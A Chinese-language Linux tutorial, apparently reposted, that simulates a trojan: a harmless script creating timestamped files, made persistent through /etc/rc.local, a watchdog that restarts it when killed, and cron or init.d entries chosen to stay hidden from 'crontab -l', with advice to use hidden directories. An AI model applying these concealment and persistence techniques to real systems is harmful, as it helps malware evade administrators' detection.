linux下模擬一個木馬程序運行過程


預備知識:

將一個程序放入到后台,悄悄的執行
  ./xxx.sh &

進程:
  用戶進程:由用戶來管理
  系統進程:由系統內核自行管理

系統中的每個進程,都有一個位置的ID,這就是pid,而且每次啟動進程以后,PID都不相同


進程相關的命令
  jobs
    作用:查看當前運行在后台的進程有哪些
    信息
      第一列:進程編號
      第二列:進程狀態
      第三列:進程是如何發起的

  fg   進程編號    把進程從后台調到前台執行
  kill %進程編號  殺死進程

  ps aux   打印系統所有進程

 num=`ps aux | grep myser |wc -l`   #執行grep myser本身就會創建一個進程,如果有myser這個進程則num為2,如果沒有myser這個進程,則num為1,

 

kill作用殺死進程
  格式:kill 信號級別 進程PID

  信號級別
    -9:斬立決。立刻殺死進程
    -15:死緩。等待現有的客戶端處理完畢之后,立刻殺死進程
        【等待期間新的用戶請求無法被接入】

 

木馬最終效果
  讓程序自動運行,而且是開機自動運行起來
  程序還可以自我保護
  防止程序文件被刪除

 

實現步驟
1. 開發一個偽木馬myser,位置:可以隨便放,這里為了方便放在/下,實際使用時是放在非常隱蔽的目錄下
#!/bin/bash
while true
do
  touch /home/`date +%T`.txt    #在/home/下每隔一秒就創建一個文件,文件名為 創建時間.txt
  sleep 1
done

 

創建完后賦權限        chmod +x myser

試運行      ./myser      ctrl+c停止  cd到/home/目錄下查看

 

 

2. 將這個木馬設置為開機自動啟動
在/etc/rc.local中寫入
/bin/bash /myser &

 

3. 開發一個檢查木馬進程是否正在運行的程序,check.sh ,位置:可以隨便放,這里為了方便放在/下,實際使用時是放在非常隱蔽的目錄下
#!/bin/bash
num=`ps aux | grep myser |wc -l`   #執行grep myser本身就會創建一個進程,如果有myser這個進程則num為2,如果沒有myser這個進程,則num為1(),

if [ $num -eq 1 ];then     #num為1則表示木馬進程已被殺死,需重新啟動木馬
  /bin/bash /myser &   # &表示后台啟動,不再屏幕上出現信息
fi

創建完后賦權限        chmod +x check.sh

 

4.將check.sh寫進或放進計划任務中 

  思路1:

    寫進計划任務中  但這樣很容易用crontab -l 查看發現

      crontab -e     #創建計划任務

      

      每分鍾執行一次

      *  *  *  *  *    # 分 時 日 月 周

      crontab -l    #查看當前創建了哪些計划任務

      

  思路2:
    將check.sh放在/etc/cron.d/cron.hourly  
    這個目錄下的程序會每隔1h自動執行一次
  思路3:
    執行check.sh的計划任務寫在/etc/crontab   #這個目錄下的crontab中的任務計划不會出現在crontab -l中
    */5 * * * * /bin/bash /etc/check.sh
  思路4:
    在/etc/init.d下隨便找個程序,將執行check的命令寫進去

5.重啟驗證效果---------------reboot關機

  開機后在/home/下發現一堆文件

  

  腳本正在運行

  

  殺死進程

  

  過一分鍾后再次查看,發現進程已重啟,注意看PID是不一樣的,表示進程是重新啟動過的

  

  自此完成


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM